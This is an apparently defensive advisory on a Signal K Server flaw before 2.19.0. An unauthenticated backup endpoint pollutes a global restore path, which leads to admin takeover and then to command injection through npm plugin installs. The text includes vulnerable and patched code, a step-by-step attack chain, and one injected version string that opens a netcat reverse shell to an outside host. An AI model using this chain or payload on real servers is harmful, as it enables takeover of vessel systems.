Signal K Server stored the path to a backup file in a global module variable. Unauthenticated attackers could upload a malicious backup, overwriting this variable. When a legitimate admin later triggered a restore, the server would use the attacker's file instead, leading to account takeover and eventual RCE via a separate command injection bug in the package manager.
A critical vulnerability in Signal K Server allows unauthenticated attackers to pollute a global variable used during backup restoration. By hijacking this shared state, an attacker can overwrite server configurations, gain administrative privileges, and chain a secondary command injection flaw to achieve full Remote Code Execution (RCE).
Signal K Server is the open-source nervous system for modern marine electronics. It takes data from your NMEA 2000 bus—GPS coordinates, engine temps, wind speed—and serves it up via JSON for apps and displays. It’s the kind of software you definitely want running securely when you're 50 miles offshore.
But in versions prior to 2.19.0, Signal K suffered from a vulnerability that is the architectural equivalent of leaving the bridge unlocked and the autopilot controls routed to a kiosk in the passenger lounge. This wasn't a complex buffer overflow or a heap grooming masterpiece. It was a fundamental misunderstanding of how Node.js modules work.
Combined with a lack of authentication on critical endpoints, this flaw allows a stowaway (unauthenticated attacker) to silently sabotage the ship's configuration, wait for the captain (admin) to try and fix it, and then steal the ship entirely. It’s a race condition where the attacker places a banana peel, and the admin inevitably slips on it.
To understand this bug, you need to understand Node.js module caching. When you require() a file in Node, it runs once. Any variables defined at the top level of that module are singletons—they persist in memory and are shared across every single HTTP request that hits that server. They are effectively global variables.
In src/serverroutes.ts, the developer defined a variable called restoreFilePath at the module level. This variable was intended to temporarily hold the path to an extracted ZIP file during a two-step backup restoration process:
restoreFilePath.restoreFilePath -> Server overwrites config.The fatal flaw? Concurrency. Because restoreFilePath is global, if User A uploads a backup, and then User B clicks restore, User B gets User A's backup. Even worse, Step 1 (/skServer/validateBackup) had no authentication middleware. An attacker could spam the server with malicious backup paths, ensuring that the global variable always points to their payload.
Let's look at the vulnerable code in src/serverroutes.ts. It's a textbook example of why state shouldn't live in modules.
Vulnerable Code (Simplified):
// src/serverroutes.ts
let restoreFilePath; // <--- THE ROOT CAUSE. Shared by everyone.
// Step 1: Unauthenticated!
app.post('/skServer/validateBackup', (req, res) => {
// Extracts zip to temp dir...
restoreFilePath = extractedDir; // Pollution happens here
res.send({ result: 'ok' });
});
// Step 2: Authenticated Admin
app.post('/skServer/restore', (req, res) => {
// Uses the polluted path blindly
restoreConfig(restoreFilePath);
});The fix, implemented in version 2.19.0, moves from a global variable to a Session Map. This ensures that the restoration path is tied to a specific user session via a cookie, preventing cross-user pollution.
Patched Code:
// The Fix: Use a Map to store state per session
const restoreSessions = new Map<string, string>();
app.post('/skServer/validateBackup', (req, res) => {
// Generate unique ID
const sessionId = Date.now() + '_' + Math.random();
restoreSessions.set(sessionId, extractedDir);
// Send ID back as HttpOnly cookie
res.cookie('restoreSession', sessionId, { httpOnly: true });
});This isn't just a Denial of Service; it's a full takeover. Here is how an attacker chains this state pollution into Remote Code Execution.
The attacker crafts a malicious ZIP file containing a security.json file. This JSON defines the admin users. The attacker adds their own credentials to it. They send this ZIP to /skServer/validateBackup. The server extracts it to /tmp/pwn and sets restoreFilePath = '/tmp/pwn'.
The attacker waits. Maybe they cause some minor chaos (DoS) to encourage the admin to restore a backup. The moment a legitimate admin logs in and clicks "Restore Configuration," the server reads the polluted restoreFilePath. Instead of restoring the admin's backup, it restores the attacker's security.json.
Now the attacker can log in as an administrator. But we want a shell. Signal K has an "App Store" feature managed in src/modules.ts. It allows admins to install plugins via npm.
The runNpm function historically used spawn in a way that allowed shell interpretation:
// Old vulnerable code in src/modules.ts
const child = spawn(command, args, { shell: true });
// or implicit shell usage via command concatenationThe attacker installs a plugin but modifies the version string to include shell commands: 1.0.0 & nc -e /bin/sh 10.0.0.1 4444. The server executes npm install plugin@1.0.0 & nc ..., and the attacker catches a reverse shell running as the Signal K user.
The impact here is catastrophic for any vessel relying on Signal K for operations.
Since this starts with an unauthenticated request, any Signal K server exposed to the internet is an immediate target. Shodan scans often reveal these servers running on port 3000 without protection.
The remediation is straightforward: Update to Signal K Server v2.19.0 immediately.
The patch introduces three critical layers of defense:
/validateBackup and /restore now require a valid admin session.Map, keyed by a session ID stored in a cookie. Attacker A cannot influence Admin B's restore path.runNpm was fixed by passing arguments as an array to spawn, bypassing the shell interpreter entirely.If you cannot patch immediately, ensure your Signal K server is behind a VPN (like Tailscale) and strictly firewall port 3000 from the public internet. This exploit requires network access to the HTTP interface; cutting that off neutralizes the threat.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Signal K Server Signal K | < 2.19.0 | 2.19.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-1329 (Reliance on Component State) |
| Secondary CWE | CWE-78 (OS Command Injection) |
| CVSS Score | 9.6 (Critical) |
| Attack Vector | Network (Unauthenticated) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Available |
Get the latest CVE analysis reports delivered to your inbox.